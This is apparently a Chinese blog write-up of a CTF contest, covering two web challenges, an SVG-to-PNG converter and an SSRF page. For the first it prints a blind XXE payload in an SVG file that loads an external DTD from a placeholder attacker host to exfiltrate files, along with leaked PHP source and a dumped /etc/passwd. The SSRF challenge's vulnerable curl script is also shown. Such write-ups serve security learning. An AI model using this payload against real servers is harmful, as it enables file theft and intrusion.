記一次爆0的CTF
阿新 • • 發佈:2020-10-13
前言
打小型CTF比賽的時候遇到的CTF題目,解析SVG影象觸發XXE,比較新穎,第一次見,於是記錄下
XXE
進入題目發現就是一個檔案上傳功能,並且題意是將SVG影象轉化為PNG影象的測試站點
然後檢視原始碼發現了有php程式碼的註釋
看到過濾了php://,並且有個$this->svg_contents猜測是XXE,網上能找到的比較少,大多是水文,很難受,翻了好久終於翻到類似的CTF題目
於是參考文章連結來個Blind XXE,因為頁面時沒有回顯的,因此用Blind XXE,雖然過濾了php://,但是如果寫在伺服器上的xml或者dtd一樣可以繞過去
payload:
<!DOCTYPE svg [<!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://vsp_ip:port/xxe.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>
伺服器上的xxe.xml是這樣的
BP跑一下,獲得了upload_svg.php的base64編碼後的原始碼
解密為
<?php error_reporting(0); session_start(); require_once("config/svg_config.php"); date_default_timezone_set('PRC'); if(isset($_POST['id']) and isset($_FILES['svg']) and isset($_POST['timestamp'])){ try{ $svg_load= new svg_load($_FILES['svg']['tmp_name'],$_FILES['svg']['name'],$_POST['timestamp'],$_POST['id']); $svg_load->filter = new filter(file_get_contents($_FILES['svg']['tmp_name'])); $svg_load->action(); header("Content-Type: text/json"); echo json_encode( array( 'status' => 'success', 'contents' => "{$svg_load}" ) ); } catch(Exception $e){ die($e->getMessage()); } } ?>
修改xxe.xml讀取config/svg_config.php,重新監聽,BP發包
解密得到
<?php require_once('SVG.php'); require_once('filter.php'); $_SESSION['key'] = !isset($_SESSION['key']) ? md5(session_id()) : $_SESSION['key'] ; class svg_load{ private $tmp_file; private $svg_file; private $svg_image; private function save(){ return $this->filter->check($this->tmp_file) and move_uploaded_file($this->tmp_file,$this->svg_file); } private function load() { if($this->filter->check($this->svg_file) === true){ $this->svg = new svg_(file_get_contents($this->svg_file)); $this->svg_image = (string)$this->svg; }else{ $this->svg_image='null'; throw new Exception("哦,你瞧這個糟糕的內容,你在想什麼呢!"); } return $this->svg_image; } public function action(){ try{ $this->save(); $this->load(); }catch(Exception $e){ $this->error = $e->getMessage(); } } public function __construct($tmp_file,$name,$timestamp,$id) { $info = pathinfo($name); if($info['extension'] === 'svg') { $this->svg_file = __DIR__."/images/svg/".base64_encode($id).'.'.$info['filename'].'.'.base64_encode($timestamp.hash('sha256',$timestamp.$_SESSION['key'])).'.svg'; $this->tmp_file = $tmp_file; }else{ $this->error = "不要總是傳奇奇怪怪的檔案啊"; } } public function __toString() { return !isset($this->error) ? base64_encode(!$this->svg_image ? $this->load() : $this->svg_image ) : $this->error; } public function __destruct() { unlink($this->svg_file); } }
把包含的檔案都讀一下
SVG.php
<?php class svg_{ private $svg_contents; private $svg_image; private function load(){ $XML = new DOMDocument(); $XML->loadXML($this->svg_contents,0x06); if($img = simplexml_import_dom($XML)) { $attr = $img->svg->attributes(); $height = (int)$attr['height'] > 850 ? 850 : (int)$attr['height']; $width = (int)$attr['width'] > 1000 ? 1000 : (int)$attr['width']; $tmp_file = '/tmp/'.sha1(md5(uniqid(microtime(true), true))); file_put_contents($tmp_file,$this->svg_contents); exec("convert -resize {$width}x{$height}! {$tmp_file} {$tmp_file}.png "); $this->svg_image = file_get_contents($tmp_file.'.png'); unlink($tmp_file.'.png'); unlink($tmp_file); }else{ $this->svg_image = false; } } public function __construct($svg_contents='') { $this->svg_contents = $svg_contents; $this->load(); } public function __toString(){ return !$this->svg_image ? 'null' : $this->svg_image; } } ?>
filter.php
<?php class filter{ public $svg_contents; public function clean(){ if(preg_match('/php:\/\//im',$this->svg_contents)){ $this->svg_contents='no!'; } } public function check($file){ $this->clean(); return hash('sha256',md5($this->svg_contents,true),true) === hash('sha256',md5_file($file,true),true); } public function __construct($contents='') { $this->svg_contents = is_string($contents) ? $contents : ''; $this->clean(); } } ?>
問題來了,找不到flag了
讀了一下/etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:102::/nonexistent:/usr/sbin/nologin Debian-exim:x:102:103::/var/spool/exim4:/usr/sbin/nologin
翻不到./flag,./flag.txt,/flag /flag.txt
最後實在沒翻到,心態炸了。
SSRF
原始碼如下:
<?php $url = $_GET['url']; if(!isset($url)){ highlight_file(__FILE__); } if(stripos($url,'file')!==False) { exit; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $output = curl_exec($ch); curl_close($ch); echo $output; ?>
過濾了file協議,讀不了東西,沒有flag.php,gopher構造http協議也打不到,一頭霧水,upload目錄裡沒有東西
然後公告上給了個hint,可以打redis,redis是弱密碼。emmmm,時間到了,我也沒去搞,一直在搞XXE的。掏出來之前雖然看了但是沒有實踐的文章
=>